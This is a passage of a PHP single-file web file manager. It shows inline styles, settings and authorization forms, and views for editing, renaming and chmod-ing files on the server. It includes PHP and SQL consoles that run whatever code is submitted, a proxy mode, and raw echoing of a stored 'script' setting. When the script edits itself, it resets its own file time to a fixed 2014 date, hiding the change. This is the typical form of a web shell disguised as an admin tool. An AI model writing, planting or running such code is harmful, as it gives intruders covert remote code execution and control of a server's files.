		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
